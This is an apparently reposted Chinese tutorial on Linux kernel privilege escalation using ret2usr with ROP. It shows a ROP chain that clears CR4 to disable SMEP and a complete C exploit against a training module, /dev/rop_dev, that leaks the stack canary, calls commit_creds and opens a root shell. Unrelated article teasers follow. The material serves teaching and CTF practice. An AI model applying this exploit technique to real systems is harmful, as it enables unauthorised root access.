linux 内核提权总结(demo+exp分析) -- ROP(二)

2024-09-08 10:38

本文主要是介绍linux 内核提权总结(demo+exp分析) -- ROP(二),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

ret2usr CR4篇

本文转自网络文章,内容均为非盈利,版权归原作者所有。
转载此文章仅为个人收藏,分享知识,如有侵权,马上删除。
原文作者:jmpcall
专栏地址:https://zhuanlan.kanxue.com/user-815036.htm

 

  • smep: smep是内核的一种保护措施, 使得内核不可执行用户态代码

    • 内核通过CR4寄存器的第20位来控制smep, 第20位为0时,smep被关闭
  • 攻击流程

    1. 提前在用户态代码中构造进程提权代码(get_root)
    2. ROP技术修改CR4第20位数据为0(关闭smep), 通常使用 mov cr4, 0x6f0
    3. 修改 rip 直接指向用户态提权代码,实现进程提权

一. 判断是否开启smep

1.查看 boot.sh

qemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.img \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" \
-cpu qemu64,+smep,+smap \
-nographic \
-gdb tcp::1234

2.smep, smap 在boot.sh -cpu选项内进行设置

 

二. ROP链构造

ROP[i++] = 0xffffffff810275f1 + offset; //pop rax; ret
ROP[i++] = 0x6f0;
ROP[i++] = 0xffffffff8123ed93 + offset; //pop rcx; ret
ROP[i++] = 0;
ROP[i++] = 0xffffffff81003c0e + offset; //mov cr4, rax ; push rcx ; popfq ; pop rbp ; ret
ROP[i++] = 0;
ROP[i++] = (size_t)get_root;

三. exp

// gcc ret2usr.c -masm=intel -static -o ret2usr#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>size_t base, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_rflags, user_sp, shell;void get_shell()
{if (!getuid()){puts("=.=");system("/bin/sh");}else{puts("failed");}exit(0);
}void get_root()
{char *(*pkc)(int) = prepare_kernel_cred;void (*cc)(char *) = commit_creds;(*cc)((*pkc)(0));asm(   "pushq user_ss;""pushq user_sp;""pushq user_rflags;""pushq user_cs;""push shell;""swapgs;""iretq;");
}void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");shell = (size_t)get_shell;printf("ip is 0x%lx\n", (size_t)get_shell);printf("cs is 0x%lx\n", user_cs);printf("ss is 0x%lx\n", user_ss);printf("sp is 0x%lx\n", user_sp);printf("flag is 0x%lx\n", user_rflags);puts("status has been saved.");
}size_t get_addr(char *name)
{int num = strlen(name) * 2 + 3 + 27;char cmd[num];memset(cmd, 0, num);strcat(cmd, "cat /tmp/kallsyms | grep ");strcat(cmd, name);strcat(cmd, " > ");strcat(cmd, name);printf("the cmd is %s\n", cmd);system(cmd);char buf[19] = {0};size_t addr = 0;FILE *fp = fopen(name, "r");if (fp == NULL){printf("open %s error!\n", name);exit(0);}fgets(buf, 18, fp);addr = strtoul(buf, 0, 16);printf("the addr(0x) is: %p\n", (void *)addr);if (addr == 0){puts("string conversion integer failed");}fclose(fp);return addr;
}size_t get_canary()
{system("dmesg | grep canary > canary");puts("the cmd is: dmesg | grep canary > canary");FILE *fp = fopen("canary", "r");if (fp == NULL){puts("open canary error");exit(0);}char buf[100] = {0};size_t canary = 0;fgets(buf, 100, fp);char *str_canary = strstr(buf, "0x");canary = strtoul(str_canary, 0, 16);fclose(fp);printf("the canary is 0x%lx\n", canary);return canary;
}char *rop(size_t offset, size_t *ROP)
{int i = 0;ROP[i++] = 0xffffffff810275f1 + offset; //pop rax; retROP[i++] = 0x6f0;ROP[i++] = 0xffffffff8123ed93 + offset; //pop rcx; retROP[i++] = 0;ROP[i++] = 0xffffffff81003c0e + offset; //mov cr4, rax ; push rcx ; popfq ; pop rbp ; retROP[i++] = 0;ROP[i++] = (size_t)get_root;
}int main()
{base = get_addr("startup_64");commit_creds = get_addr("commit_creds");prepare_kernel_cred = get_addr("prepare_kernel_cred");size_t offset = base - 0xffffffff81000000;printf("offset is: %lx\n", offset);int fd = open("/dev/rop_dev", 2);if (0 == fd){puts("open /dev/rop_dev error");exit(0);}char payload1[0x10] = {0};write(fd, payload1, 0x10);write(fd, payload1, 0x10);size_t canary = get_canary();size_t payload2[19] = {0};payload2[0] = 0x6161616161616161;payload2[1] = 0x6262626262626262;payload2[2] = canary;payload2[3] = 0x6363636363636363;save_status();rop(offset, &payload2[4]);write(fd, payload2, 8 * 19);return 0;
}

 

这篇关于linux 内核提权总结(demo+exp分析) -- ROP(二)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1147878

相关文章

HarmonyOS学习(七)——UI(五)常用布局总结

自适应布局 1.1、线性布局(LinearLayout) 通过线性容器Row和Column实现线性布局。Column容器内的子组件按照垂直方向排列,Row组件中的子组件按照水平方向排列。 属性说明space通过space参数设置主轴上子组件的间距,达到各子组件在排列上的等间距效果alignItems设置子组件在交叉轴上的对齐方式,且在各类尺寸屏幕上表现一致,其中交叉轴为垂直时,取值为Vert

linux-基础知识3

打包和压缩 zip 安装zip软件包 yum -y install zip unzip 压缩打包命令: zip -q -r -d -u 压缩包文件名 目录和文件名列表 -q:不显示命令执行过程-r:递归处理,打包各级子目录和文件-u:把文件增加/替换到压缩包中-d:从压缩包中删除指定的文件 解压:unzip 压缩包名 打包文件 把压缩包从服务器下载到本地 把压缩包上传到服务器(zip

学习hash总结

2014/1/29/   最近刚开始学hash,名字很陌生,但是hash的思想却很熟悉,以前早就做过此类的题,但是不知道这就是hash思想而已,说白了hash就是一个映射,往往灵活利用数组的下标来实现算法,hash的作用:1、判重;2、统计次数;

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置

Linux 网络编程 --- 应用层

一、自定义协议和序列化反序列化 代码: 序列化反序列化实现网络版本计算器 二、HTTP协议 1、谈两个简单的预备知识 https://www.baidu.com/ --- 域名 --- 域名解析 --- IP地址 http的端口号为80端口,https的端口号为443 url为统一资源定位符。CSDNhttps://mp.csdn.net/mp_blog/creation/editor

【Python编程】Linux创建虚拟环境并配置与notebook相连接

1.创建 使用 venv 创建虚拟环境。例如,在当前目录下创建一个名为 myenv 的虚拟环境: python3 -m venv myenv 2.激活 激活虚拟环境使其成为当前终端会话的活动环境。运行: source myenv/bin/activate 3.与notebook连接 在虚拟环境中,使用 pip 安装 Jupyter 和 ipykernel: pip instal

内核启动时减少log的方式

内核引导选项 内核引导选项大体上可以分为两类:一类与设备无关、另一类与设备有关。与设备有关的引导选项多如牛毛,需要你自己阅读内核中的相应驱动程序源码以获取其能够接受的引导选项。比如,如果你想知道可以向 AHA1542 SCSI 驱动程序传递哪些引导选项,那么就查看 drivers/scsi/aha1542.c 文件,一般在前面 100 行注释里就可以找到所接受的引导选项说明。大多数选项是通过"_

git使用的说明总结

Git使用说明 下载安装(下载地址) macOS: Git - Downloading macOS Windows: Git - Downloading Windows Linux/Unix: Git (git-scm.com) 创建新仓库 本地创建新仓库:创建新文件夹,进入文件夹目录,执行指令 git init ,用以创建新的git 克隆仓库 执行指令用以创建一个本地仓库的

Linux_kernel驱动开发11

一、改回nfs方式挂载根文件系统         在产品将要上线之前,需要制作不同类型格式的根文件系统         在产品研发阶段,我们还是需要使用nfs的方式挂载根文件系统         优点:可以直接在上位机中修改文件系统内容,延长EMMC的寿命         【1】重启上位机nfs服务         sudo service nfs-kernel-server resta